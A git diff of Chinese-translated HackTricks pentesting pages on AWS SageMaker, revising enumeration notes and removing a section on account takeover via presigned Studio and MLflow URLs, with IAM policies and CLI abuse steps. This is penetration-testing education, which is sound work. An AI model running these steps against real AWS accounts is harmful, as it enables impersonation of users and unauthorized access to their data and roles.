`SubnetIds`, `DefaultUserSettings.ExecutionRole`. +- 挂载的 EFS (`HomeEfsFileSystemId`) 和 S3 主目录。 +- 生命周期脚本(通常包含引导凭据或用于推/拉的额外代码)。 > [!TIP] -> Presigned Studio URLs 在授予范围过广时可绕过身份验证。 +> Presigned Studio URLs 在权限过宽时可以绕过身份验证。 ## Notebook Instances & Lifecycle Configs ```bash @@ -78,11 +78,11 @@ aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-li ``` Notebook 元数据会显示: -- 执行角色(`RoleArn`)、直接互联网访问与仅 VPC 模式。 -- S3 位置位于 `DefaultCodeRepository`、`DirectInternetAccess`、`RootAccess`。 -- 生命周期脚本(用于凭据或持久化钩子)。 +- 执行角色 (`RoleArn`)、是否允许直接访问互联网或仅限 VPC 模式。 +- S3 存储位置在 `DefaultCodeRepository`、`DirectInternetAccess`、`RootAccess`。 +- 生命周期脚本(用于凭证或持久化挂钩)。 -## 训练、处理、转换与批处理作业 +## Training、Processing、Transform 和 Batch 作业 ```bash aws sagemaker list-training-jobs --region $REGION aws sagemaker describe-training-job --training-job-name --region $REGION @@ -93,12 +93,12 @@ aws sagemaker describe-processing-job --processing-job-name --region $REGI aws sagemaker list-transform-jobs --region $REGION aws sagemaker describe-transform-job --transform-job-name --region $REGION ``` -仔细审查: +仔细检查: -- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – 哪些 ECR 镜像被部署。 +- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – 哪些 ECR 镜像已部署。 - `InputDataConfig` & `OutputDataConfig` – S3 桶、前缀和 KMS 密钥。 -- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – 用于确定网络或加密的配置/态势。 -- `HyperParameters` 可能 leak 环境凭据或连接字符串。 +- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – 确定网络或加密配置。 +- `HyperParameters` 可能 leak 环境凭证或连接字符串。 ## 管道、实验与试验 ```bash @@ -110,7 +110,7 @@ aws sagemaker list-experiments --region $REGION aws sagemaker list-trials --experiment-name --region $REGION aws sagemaker list-trial-components --trial-name --region $REGION ``` -Pipeline 定义会详细说明每个步骤、相关角色、容器镜像和环境变量。Trial 组件通常包含训练工件 URIs、S3 日志和指标,这些都会提示敏感数据的流向。 +Pipeline 定义详述每个步骤、关联角色、容器镜像和环境变量。试验组件通常包含训练工件 URIs、S3 日志和指标,这些暗示着敏感数据流动。 ## 模型、端点配置与已部署端点 ```bash @@ -123,12 +123,10 @@ aws sagemaker describe-endpoint-config --endpoint-config-name --region $RE aws sagemaker list-endpoints --region $REGION aws sagemaker describe-endpoint --endpoint-name --region $REGION ``` -关注点: - - 模型工件 S3 URIs (`PrimaryContainer.ModelDataUrl`) 和 推理容器镜像。 -- Endpoint 数据捕获配置 (S3 bucket, KMS),用于可能的 log exfil。 -- 使用 `S3DataSource` 或 `ModelPackage` 的 Multi-model endpoints(检查跨账户打包)。 -- 与 endpoints 关联的网络配置和安全组。 +- 端点的数据捕获配置(S3 bucket、KMS),用于可能的日志 exfil。 +- 使用 `S3DataSource` 或 `ModelPackage` 的多模型端点(检查跨账户打包)。 +- 附加到端点的网络配置和 security groups。 ## Feature Store, Data Wrangler & Clarify ```bash @@ -143,9 +141,9 @@ aws sagemaker list-model-monitoring-schedule --region $REGION ``` 安全要点: -- Online feature stores 会将数据复制到 Kinesis;检查 `OnlineStoreConfig.SecurityConfig.KmsKeyId` 和 VPC。 -- Data Wrangler flows 常常嵌入 JDBC/Redshift 凭证或私有端点。 -- Clarify/Model Monitor jobs 会将数据导出到 S3,可能对所有人可读或可被跨账户访问。 +- 在线特征存储会将数据复制到 Kinesis;检查 `OnlineStoreConfig.SecurityConfig.KmsKeyId` 和 VPC。 +- Data Wrangler 流程通常会嵌入 JDBC/Redshift 凭证或私有端点。 +- Clarify/Model Monitor 作业会将数据导出到 S3,可能对公众可读或可被跨账户访问。 ## MLflow Tracking Servers, Autopilot & JumpStart ```bash @@ -158,15 +156,15 @@ aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION aws sagemaker list-jumpstart-models --region $REGION aws sagemaker list-jumpstart-script-resources --region $REGION ``` -- MLflow tracking servers 存储实验和工件;presigned URLs 可能会暴露所有内容。 +- MLflow tracking servers 存储实验和工件;预签名 URL 可能会暴露所有内容。 - Autopilot jobs 会启动多个训练作业——枚举输出以查找隐藏数据。 -- JumpStart reference architectures 可能会在账户中部署特权角色。 +- JumpStart 参考架构可能会将特权角色部署到账户中。 -## IAM 与网络注意事项 +## IAM & Networking Considerations -- 列出附加到所有执行角色(Studio、notebooks、training jobs、pipelines、endpoints)的 IAM 策略。 -- 检查网络上下文:子网(subnets)、安全组(security groups)、VPC endpoints。许多组织会隔离训练作业但忘记限制出站流量。 -- 检查在 `ModelDataUrl`、`DataCaptureConfig`、`InputDataConfig` 中引用的 S3 bucket 策略是否允许外部访问。 +- 枚举附加到所有执行角色(Studio、notebooks、training jobs、pipelines、endpoints)的 IAM 策略。 +- 检查网络上下文:subnets、security groups、VPC endpoints。许多组织会隔离训练作业,但忘记限制出站流量。 +- 审查在 `ModelDataUrl`、`DataCaptureConfig`、`InputDataConfig` 中引用的 S3 桶策略,检查是否允许外部访问。 ## Privilege Escalation @@ -192,7 +190,7 @@ aws sagemaker list-jumpstart-script-resources --region $REGION ../aws-sagemaker-unauthenticated-enum/README.md {{#endref}} -## 参考资料 +## References - [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html) - [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html) diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md index d90947c74..024b3650c 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -1,107 +1,13 @@ -# AWS - SageMaker Unauthorized Access +# AWS - SageMaker 未授权访问 {{#include ../../../../banners/hacktricks-training.md}} -## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile) +## SageMaker 的预签名 URL -### 描述 -拥有在目标 Studio `UserProfile` 上调用 `sagemaker:CreatePresignedDomainUrl` 权限的主体,可以生成一个登录 URL,该 URL 可直接以该 `UserProfile` 的身份登录 SageMaker Studio。这样,攻击者的浏览器就会获得一个 Studio 会话,该会话继承该 `UserProfile` 的 `ExecutionRole` 权限,并对该 `UserProfile` 的基于 EFS 的主目录和应用拥有完全访问权限。无需 `iam:PassRole` 或控制台访问权限。 +如果攻击者设法获取了针对 SageMaker 资源的预签名 URL,他们可以在无需进一步身份验证的情况下访问该资源。权限和访问级别将取决于与该资源关联的角色: -### 要求 -- 目标环境中需有 SageMaker Studio 的 `Domain` 和一个目标 `UserProfile`。 -- 攻击者主体需要在目标 `UserProfile` 上拥有 `sagemaker:CreatePresignedDomainUrl`(资源级别)或 `*` 权限。 - -最小策略示例(作用范围为单个 `UserProfile`): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedDomainUrl", -"Resource": "arn:aws:sagemaker:::user-profile//" -} -] -} -``` -### 滥用步骤 - -1) 枚举你可以针对的 Studio Domain 和 UserProfiles -```bash -DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) -aws sagemaker list-user-profiles --domain-id-equals $DOM -TARGET_USER= -``` -2) 生成 presigned URL(默认有效期约 ~5 分钟) -```bash -aws sagemaker create-presigned-domain-url \ ---domain-id $DOM \ ---user-profile-name $TARGET_USER \ ---query AuthorizedUrl --output text -``` -3) 在浏览器中打开返回的 URL,以目标用户身份登录 Studio。在 Studio 内的 Jupyter 终端中验证实际身份: -```bash -aws sts get-caller-identity -``` -Notes: -- `--landing-uri` 可以省略。某些值(例如 `app:JupyterLab:/lab`)可能会根据 Studio 的版本/变体被拒绝;默认通常会先重定向到 Studio 首页,然后再到 Jupyter。 -- 组织策略/VPC 终端节点限制仍可能阻止网络访问;生成令牌不需要控制台登录或 `iam:PassRole`。 - -### Impact -- 通过假定任何其 ARN 被允许的 Studio `UserProfile` 来进行横向移动和权限提升,从而继承其 `ExecutionRole` 以及文件系统/应用。 - -### Evidence (from a controlled test) -- 在目标 `UserProfile` 上仅具有 `sagemaker:CreatePresignedDomainUrl` 的情况下,攻击者角色成功返回了类似如下的 `AuthorizedUrl`: -``` -https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... -``` -- 直接的 HTTP 请求会以重定向 (HTTP 302) 到 Studio 响应,确认该 URL 在过期之前有效且处于激活状态。 - -## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl - -### 描述 -具有对目标 SageMaker MLflow Tracking Server 调用 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 权限的主体,可以生成一个一次性预签名 URL,该 URL 可直接对该服务器的托管 MLflow UI 进行认证。 这会授予与合法用户在该服务器上相同的访问权限(查看/创建实验和运行,以及在服务器的 S3 artifact store 中下载/上传 artifact),无需控制台访问或 `iam:PassRole`。 - -### 要求 -- 目标账户/区域中存在一个 SageMaker MLflow Tracking Server,并知道其名称。 -- 攻击者主体需要在目标 MLflow Tracking Server 资源上拥有 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 权限(或 `*`)。 - -最小策略示例(限制到单个 Tracking Server): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Allow", -"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", -"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" -} -] -} -``` -### 滥用步骤 - -1) 枚举你可以针对的 MLflow Tracking Servers 并选定一个名称 -```bash -aws sagemaker list-mlflow-tracking-servers \ ---query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' -TS_NAME= -``` -2) 生成一个 presigned MLflow UI URL (短时间内有效) -```bash -aws sagemaker create-presigned-mlflow-tracking-server-url \ ---tracking-server-name "$TS_NAME" \ ---expires-in-seconds 300 \ ---session-expiration-duration-in-seconds 1800 \ ---query AuthorizedUrl --output text -``` -3) 在浏览器中打开返回的 URL,以该 Tracking Server 的已认证用户身份访问 MLflow UI。 - -注意: -- Tracking Server 必须处于就绪状态(例如 `Created/Active`)。如果仍处于 `Creating`,请求将被拒绝。 -- 预签名 URL 为一次性且短期有效;需要时请生成新的。 - -### 影响 -- 直接访问目标 Tracking Server 的托管 MLflow UI,使你能够在服务器配置所强制的权限范围内查看和修改 experiments/runs,并检索或上传存储在服务器配置的 S3 artifact store 中的 artifacts。 +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} {{#include ../../../../banners/hacktricks-training.md}}